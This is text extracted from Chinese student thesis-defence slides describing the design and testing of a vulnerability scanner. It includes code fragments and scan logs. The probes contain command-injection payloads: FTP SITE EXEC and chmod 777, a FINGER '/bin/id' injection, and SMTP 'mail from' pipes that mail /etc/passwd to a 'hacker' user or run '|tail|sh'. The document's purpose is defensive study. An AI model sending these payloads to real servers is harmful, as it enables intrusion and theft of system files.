1、漏洞扫描工具原理与实现,答辩人: 班级: 指导教师:,课题意义,课题意义,课题意义,漏洞扫描技术是实现网络安全的重要技术之一,检测网络系统潜在的安全漏洞和脆 弱性,评估网络系统的安全状况,开发环境,开发平台Visual studio 2005 设计软件Visio 2003 操作系统windows XP,重要技术,winsock编程 多线程技术,系统的详细介绍,系统主界面,系统流程分析,开始,输入扫描目标地址选择扫描选项,目标可否到达,N,显示目标不可到达,并退出程序,系统流程分析,Y,端口扫描给出扫描结果,是否扫描FTP漏洞,Y,FTP漏洞扫描给出结果,N,系统流程分析,是否扫描SMTP漏洞,
2、Y,FTP漏洞扫描给出结果,N,是否扫描FINGER漏洞,Y,FINGER漏洞扫描给出结果,N,系统流程分析,是否扫描CGI漏洞,Y,CGI漏洞扫描给出结果,N,扫描结束,系统的模块划分,系统模块划分图,模块功能简介,总扫描辅助模块 端口扫描模块 FTP漏洞扫描模块 SMTP漏洞扫描模块 FINGER漏洞扫描模块 CGI漏洞扫描模块,总扫描辅助模块 端口扫描模块 FTP漏洞扫描模块 SMTP漏洞扫描模块 FINGER漏洞扫描模块 CGI漏洞扫描模块,检测目标服务器是否可到达 检测选择的扫描选项 负责整个程序的运行流程,模块功能简介,总扫描辅助模块 端口扫描模块 FTP漏洞扫描模块 SMTP漏洞
3、扫描模块 FINGER漏洞扫描模块 CGI漏洞扫描模块,总扫描辅助模块 端口扫描模块 FTP漏洞扫描模块 SMTP漏洞扫描模块 FINGER漏洞扫描模块 CGI漏洞扫描模块,检测是否能与服务器建立连接 检测服务器特定端口开放与否 给出服务器开放的端口列表,模块功能简介,总扫描辅助模块 端口扫描模块 FTP漏洞扫描模块 SMTP漏洞扫描模块 FINGER漏洞扫描模块 CGI漏洞扫描模块,总扫描辅助模块 端口扫描模块 FTP漏洞扫描模块 SMTP漏洞扫描模块 FINGER漏洞扫描模块 CGI漏洞扫描模块,检测目标服务器是否开放FTP服务 获取FTP服务器Banner信息 检测是否存在漏洞 给出扫描
4、结果,模块功能简介,总扫描辅助模块 端口扫描模块 FTP漏洞扫描模块 SMTP漏洞扫描模块 FINGER漏洞扫描模块 CGI漏洞扫描模块,总扫描辅助模块 端口扫描模块 FTP漏洞扫描模块 SMTP漏洞扫描模块 FINGER漏洞扫描模块 CGI漏洞扫描模块,检测目标服务器是否开放SMTP服务 获取目标SMTP服务器的Banner信息 检测是否存在漏洞 给出扫描结果,模块功能简介,总扫描辅助模块 端口扫描模块 FTP漏洞扫描模块 SMTP漏洞扫描模块 FINGER漏洞扫描模块 CGI漏洞扫描模块,总扫描辅助模块 端口扫描模块 FTP漏洞扫描模块 SMTP漏洞扫描模块 FINGER漏洞扫描模块 CG
5、I漏洞扫描模块,检测目标服务器是否开放FINGER服务 检测是否存在漏洞 给出扫描结果,模块功能简介,总扫描辅助模块 端口扫描模块 FTP漏洞扫描模块 SMTP漏洞扫描模块 FINGER漏洞扫描模块 CGI漏洞扫描模块,总扫描辅助模块 端口扫描模块 FTP漏洞扫描模块 SMTP漏洞扫描模块 FINGER漏洞扫描模块 CGI漏洞扫描模块,检测目标是否开放WWW服务 获取目标服务器的Banner信息 检测是否存在漏洞 给出扫描结果,端口扫描模块,端口扫描方法,(1)TCP connect() 扫描,(2)TCP SYN扫描 (3)TCP FIN 扫描 (4)IP段扫描,端口扫描模块,端口扫描方法,
6、(1)TCP connect() 扫描,扫描主机尝试(使用三次握手)与目的机指定端口建立正规的连接。连接由系统调用connect()开始。对于每一个监听端口,connect()会获得成功,否则返回1,表示端口不可访问。,优点:不需要任何权限速度,缺点:容易被发现容易被过滤掉,端口扫描模块,扫描端口数组,port60=7,9,11,13,15,17,19,21,23,25,37,43,53,70,77,79,80,81,87,88,103,104,109,110,111,113,115,119,123,135,137,138,139,143,144,443,512,513,514,515,520
7、,530,540,544,749,750,751,754,1024,1025,1026,1080,1234,1600,2003,2049,6000,6667,8080,0,端口扫描模块,sockfd = socket(AF_INET, SOCK_STREAM, 0),if (sockfd 0),int r = connect(sockfd,(struct sockaddr *) ,if (r!=-1),FTP漏洞扫描模块,FTP漏洞扫描实现,FTP服务器安全问题: (1)用户 (2)权限,错误配置检测: 向服务器发出请求,然后接受服务器返回的信息,如果返回的结果具备某种特性(如函数的返回值中包
8、含“150”“200”),我们就可以认为系统中存在漏洞,FTP漏洞扫描模块,if(connect(sockfd,(struct sockaddr *) &addr, sizeof(addr)0),recv(sockfd,rbuff,sizeof(rbuff),0);,send(sockfd,“USER anonymousrn“,sizeof(“USER anonymousrn“),0);,send(sockfd,“PASS rn“,sizeof(“PASS rn“),0);,FTP漏洞扫描模块,send(sockfd,“PASS rn“,sizeof(“PASS rn“),0);,send(s
9、ockfd,“LISTrn“,sizeof(“LISTrn“),0);,send(sockfd,“SITE chmod 777 /rn“,sizeof(“SITE chmod 777 /rn“),0),send(sockfd,“MKD ftpbugrn“,sizeof(“MKD ftpbugrn“),0);,FTP漏洞扫描模块,send(sockfd,“MKD ftpbugrn“,sizeof(“MKD ftpbugrn“),0);,send(sockfd,“SITE EXEC sh -c idrn“,sizeof(“SITE EXEC sh -c idrn“),0);,SMTP漏洞扫描模块,
10、SMTP漏洞扫描的实现方法,(1)简单密码探测 (2)模拟攻击,SMTP漏洞扫描模块,if(strstr(rbuff,“250“)!=NULL),FINGER漏洞扫描,FINGER漏洞扫描的实现方法,利用协议本身的漏洞,尝试模拟攻击,FINGER漏洞扫描,send(sockfd,“1234rn“,sizeof(“1234rn“),0),send(sockfd,“/W;/bin/id;#rn“,sizeof(“/W;/bin/id;#rn“),0),send(sockfd,“/bin/idrn“,sizeof(“/bin/idrn“),0),send(sockfd,“.rn“,sizeof(“.
11、rn“),0),CGI漏洞扫描模块,CGI漏洞扫描实现方法,利用模拟攻击来检测服务器的错误配置,CGI漏洞扫描模块,漏洞数组,cginame0=“/carbo.dll“; cginame1=“/?PageServices“; cginame2=“/cgi-bin/rwwwshell.pl“; cginame3=“/cgi-bin/phf“; cginame4=“/cgi-bin/Count.cgi“; cginame5=“/cgi-bin/test-cgi“; cginame6=“/cgi-bin/nph-test-cgi“; ,CGI漏洞扫描模块,Threadj=AfxBeginThread
12、(getcgi,(LPVOID),CGI漏洞扫描模块,CGI请求线程流程图,功能测试,测试对象, E M localhost(主机),功能测试,测试截图,功能测试,,目标IP地址为:202.117.1.13 扫描目标主机开放的端口: 25号端口(smtp)开放! 80号端口(http)开放! 110号端口(pop3)开放! 8080号端口(未知)开放! 开始扫描CGI漏洞: WWW服务器的Banner: HTTP/1.1 200 OK Server: Apache-Coyote/1.1 ETag: W/“,5783-1242341743000“ Last-Modified: Thu, 14 M
13、ay 2009 22:55:43 GMT Content-Type: text/html Content-Length: 5783 Date: Sun, 17 May 2009 15:08:00 GMT Connection: close 开始CGI漏洞的扫描. 发现/?PageServices漏洞 扫描完毕!,功能测试,,开始CGI漏洞的扫描. GET /?PageServices HTTP/1.0HTTP/1.1 200 OK Server: Apache-Coyote/1.1 ETag: W/“5783-1242341743000“ Last-Modified: Thu, 14 May
14、2009 22:55:43 GMT Content-Type: text/html Content-Length: 5783 Date: Sun, 17 May 2009 15:44:41 GMT Connection: closemeta http-equiv=“Content-Type“,content=“text/html; charset=utf-8“ 瑗垮畨浜氬瀛?/title ,功能测试,E,目标IP地址为:202.117.48.254 扫描目标主机开放的端口: 25号端口(smtp)开放! 80号端口(http)开放! 21号端口(ftp)开放! 110号端口(pop3)开放!
15、111号端口(sunrpc)开放! 443号端口(https)开放! 开始扫描FTP漏洞: FTP服务器的Banner: 220 (vsFTPd 2.0.1) 测试匿名用户 530 Please login with USER and PASS.,根目录列表: 530 Please login with USER and PASS. 尝试改变主目录属性为可写: 530 Please login with USER and PASS. 尝试建立目录: 530 Please login with USER and PASS. 尝试执行Shell: 530 Please login with USE
16、R and PASS. 开始扫描FINGER漏洞: 目标没有开放FINGER服务. 扫描完毕!,功能测试,M,目标IP地址为:202.117.1.21 扫描目标主机开放的端口: 25号端口(smtp)开放! 80号端口(http)开放! 21号端口(ftp)开放! 110号端口(pop3)开放! 443号端口(https)开放! 开始扫描SMTP漏洞: SMTP服务器的Banner: 214 Please ask postmaster for help or Email to postmaster.451 timeout (#4.5.1) 220 Welcom to xjtu mail ser
17、ver(EQManager V3.1) ESMTP,检查decode别名: 检查漏洞 检查debug漏洞 检查kill漏洞 检查wiz漏洞 检查rcpt to: /tmp/.rhosts漏洞 检查+ +漏洞 检查RSET漏洞 检查mail from: |/bin/mail hacker /etc/passwd漏洞 检查RSET漏洞 检查mail from: |tail|sh漏洞 开始扫描FINGER漏洞: 目标没有开放FINGER服务. 扫描完毕!,功能测试,localhost,扫描结果: 扫描目标:localhost 扫描选项: FTP漏洞 SMTP漏洞 FINGER 漏洞 CGI漏洞 开始
18、扫描 目标IP地址为:127.0.0.1 扫描目标主机开放的端口: 21号端口(ftp)开放! 25号端口(smtp)开放! 80号端口(http)开放! 110号端口(pop3)开放! 135号端口(epmap)开放!,开始扫描FTP漏洞: FTP服务器的Banner: 测试匿名用户 311 Please specify the password . 根目录列表: 150 Here comes the directory listing. 226 Directory send OK. 尝试改变主目录属性为可写: 200 SITE CHMOD command ok 尝试建立目录: 257 “/
19、var/www/html/test/ftpbug” created. 尝试执行Shell: 550 Permission denied.,功能测试,localhost,开始扫描SMTP漏洞: SMTP服务器的Banner: 可以使用RCPT命令获得用户名列表. 可以使用EXPN命令获得用户名列表. 尝试利用RCPT命令获得目标机上存在的一些常见用户名: root test 检查decode别名: 250 检查漏洞 检查debug漏洞 200 Debug set 检查kill漏洞 检查wiz漏洞 检查rcpt to: /tmp/.rhosts漏洞 检查+ +漏洞 检查RSET漏洞 检查mail
20、from: |/bin/mail hacker /etc/passwd漏洞 250 |/bin/mail hacker /etc/passwdSender ok 检查RSET漏洞 检查mail from: |tail|sh漏洞,开始扫描CGI漏洞: WWW服务器的Banner: HTTP/1.1 200 OK Date: Wed, 17 Jun 2009 19:44:23 GMT Server: Apache/2.0.59 (Win32) PHP/5.1.6 Last-Modified: Tue, 14 Nov 2006 01:54:01 GMT ETag: “2ea0-bc7-4ad12040“ Accept-Ranges: bytes Content-Length: 3015 Connection: close Content-Type: text/html X-Pad: avoid browser bug 开始CGI漏洞的扫描. 发现/?PageServices漏洞 发现/carbo.dll漏洞 发现/cgi-bin/rwwwshell.pl漏洞 扫描完毕!,不足,(1)实现方式比较简单 (2)系统功能有限 (3)漏洞局限性 (4)存在误报,致谢,感谢!,